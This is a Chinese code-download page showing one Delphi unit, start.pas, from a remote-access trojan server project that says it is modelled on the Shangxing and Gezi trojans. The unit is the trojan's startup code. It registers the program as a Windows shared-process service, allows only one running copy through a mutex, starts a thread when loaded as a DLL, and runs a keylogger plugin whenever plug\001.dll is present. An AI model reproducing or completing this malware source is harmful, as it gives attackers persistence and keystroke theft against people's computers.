⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 start.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
字号:
unit start;

interface
uses
  Windows,winsvc,sysutils,  MainServer,winsys,winntService;
procedure DLLEntryPoint(dwReason : DWord);
procedure ServiceMain(argc : Integer; var argv : pchar ); stdcall;
implementation
var
  // 服务控制信息句柄
  SvcStatsHandle: SERVICE_STATUS_HANDLE;
  // 存储服务状态
  dwCurrState: DWORD;
  // 服务名称


procedure ServiceWinMain;
begin
  if fileexists(GetDir(0) + 'plug\001.dll') then key;  //键盘记录插件
  main;
end;

{ 与SCM管理器通话 }
function TellSCM(dwState: DWORD; dwExitCode: DWORD; dwProgress: DWORD ): Boolean;
var
  srvStatus: service_status;
begin
  srvStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS;
  dwCurrState := dwState;
  srvStatus.dwCurrentState := dwState;
  srvStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE or SERVICE_ACCEPT_SHUTDOWN;
  srvStatus.dwWin32ExitCode := dwExitCode;
  srvStatus.dwServiceSpecificExitCode := 0;
  srvStatus.dwCheckPoint := dwProgress;
  srvStatus.dwWaitHint := 1000;
  Result := SetServiceStatus(SvcStatsHandle, srvStatus );
end;
{ Service 控制函数 }
procedure servicehandler(fdwcontrol: integer); stdcall;
begin
  case fdwcontrol of
    SERVICE_CONTROL_STOP:
    begin
      TellSCM(SERVICE_STOP_PENDING, 0, 1);
      Sleep(10);
      TellSCM(SERVICE_STOPPED, 0, 0);
    end;

    SERVICE_CONTROL_PAUSE:
    begin
      TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
      TellSCM(SERVICE_PAUSED, 0, 0);
    end;

    SERVICE_CONTROL_CONTINUE:
    begin
      TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
      TellSCM(SERVICE_RUNNING, 0, 0 );
    end;
    
    SERVICE_CONTROL_INTERROGATE: TellSCM(dwCurrState, 0, 0);
    SERVICE_CONTROL_SHUTDOWN: TellSCM(SERVICE_STOPPED, 0, 0);
  end;
end;

//  service main 入口函数
procedure ServiceMain(argc : Integer; var argv : pchar ); stdcall;
begin
//2修改
  sleep(3000);
  if Not CreatedMutexEx('server') then ExitProcess(0);
  // 注册控制函数
  SvcStatsHandle := RegisterServiceCtrlHandler(ServiceName, @servicehandler);
  if (SvcStatsHandle = 0) then
  begin
    ExitProcess(0);
  end else
  begin
  end;
  TellSCM(SERVICE_START_PENDING, 0, 1);
  TellSCM(SERVICE_RUNNING, 0, 0);
  OutputDebugString('Service is Running');
  // 这里可以执行我们真正要作的代码
  while ((dwCurrState <> SERVICE_STOP_PENDING) and (dwCurrState <> SERVICE_STOPPED)) do
  begin
    ServiceWinMain;
  end;
 // OutputDebugString('Service Exit');
end;
procedure DLLEntryPoint(dwReason : DWord);
var
  TID: dword;
begin
  case dwReason of
    DLL_PROCESS_ATTACH:  CreateThread(nil, 0, @ServiceWinMain, nil, 0, TID);
    DLL_PROCESS_DETACH:  ;
    DLL_THREAD_ATTACH:   ;
    DLL_THREAD_DETACH:   ;
  end;
end;


end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -